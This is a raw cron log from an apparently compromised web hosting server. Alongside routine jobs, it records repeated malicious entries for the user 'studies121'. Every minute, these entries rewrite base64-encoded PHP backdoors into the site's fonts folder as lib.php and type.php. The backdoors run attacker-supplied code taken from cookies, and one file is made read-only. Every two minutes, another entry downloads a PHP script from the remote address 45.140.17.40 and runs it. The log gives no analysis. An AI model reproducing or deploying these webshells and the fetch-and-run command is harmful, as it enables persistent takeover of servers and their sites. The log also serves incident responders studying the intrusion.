Feb 22 04:01:01 ip-184-168-122-23 CROND[24789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:01:01 ip-184-168-122-23 CROND[24790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24786]: starting 0anacron
Feb 22 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24807]: finished 0anacron
Feb 22 04:02:02 ip-184-168-122-23 CROND[25208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:02:02 ip-184-168-122-23 CROND[25211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:02:02 ip-184-168-122-23 CROND[25214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:02:02 ip-184-168-122-23 CROND[25213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:02:02 ip-184-168-122-23 CROND[25212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:03:01 ip-184-168-122-23 CROND[25523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:03:01 ip-184-168-122-23 CROND[25526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:03:01 ip-184-168-122-23 CROND[25529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:03:01 ip-184-168-122-23 CROND[25531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:04:01 ip-184-168-122-23 CROND[25839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:04:01 ip-184-168-122-23 CROND[25840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:04:01 ip-184-168-122-23 CROND[25841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:04:01 ip-184-168-122-23 CROND[25845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:04:01 ip-184-168-122-23 CROND[25843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:05:01 ip-184-168-122-23 CROND[26170]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 04:05:01 ip-184-168-122-23 CROND[26171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:05:01 ip-184-168-122-23 CROND[26173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:05:01 ip-184-168-122-23 CROND[26175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:05:01 ip-184-168-122-23 CROND[26176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:05:01 ip-184-168-122-23 CROND[26180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:05:01 ip-184-168-122-23 CROND[26178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:06:01 ip-184-168-122-23 CROND[26511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:06:01 ip-184-168-122-23 CROND[26512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:06:01 ip-184-168-122-23 CROND[26515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:06:01 ip-184-168-122-23 CROND[26516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:06:01 ip-184-168-122-23 CROND[26519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:07:01 ip-184-168-122-23 CROND[26834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:07:01 ip-184-168-122-23 CROND[26836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:07:01 ip-184-168-122-23 CROND[26838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:07:01 ip-184-168-122-23 CROND[26837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:08:01 ip-184-168-122-23 CROND[27223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:08:01 ip-184-168-122-23 CROND[27225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:08:01 ip-184-168-122-23 CROND[27226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:08:01 ip-184-168-122-23 CROND[27227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:08:01 ip-184-168-122-23 CROND[27228]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:09:01 ip-184-168-122-23 CROND[27577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:09:01 ip-184-168-122-23 CROND[27578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:09:01 ip-184-168-122-23 CROND[27581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:09:01 ip-184-168-122-23 CROND[27582]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 04:09:01 ip-184-168-122-23 CROND[27583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:10:01 ip-184-168-122-23 CROND[27920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:10:01 ip-184-168-122-23 CROND[27922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:10:01 ip-184-168-122-23 CROND[27924]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:10:01 ip-184-168-122-23 CROND[27929]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 04:10:01 ip-184-168-122-23 CROND[27925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:10:01 ip-184-168-122-23 CROND[27928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:10:01 ip-184-168-122-23 CROND[27923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:10:01 ip-184-168-122-23 CROND[27930]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:11:01 ip-184-168-122-23 CROND[28267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:11:01 ip-184-168-122-23 CROND[28268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:11:01 ip-184-168-122-23 CROND[28270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:11:01 ip-184-168-122-23 CROND[28271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:12:01 ip-184-168-122-23 CROND[28598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:12:01 ip-184-168-122-23 CROND[28600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:12:01 ip-184-168-122-23 CROND[28601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:12:01 ip-184-168-122-23 CROND[28602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:12:01 ip-184-168-122-23 CROND[28603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:13:02 ip-184-168-122-23 CROND[28920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:13:02 ip-184-168-122-23 CROND[28922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:13:02 ip-184-168-122-23 CROND[28923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
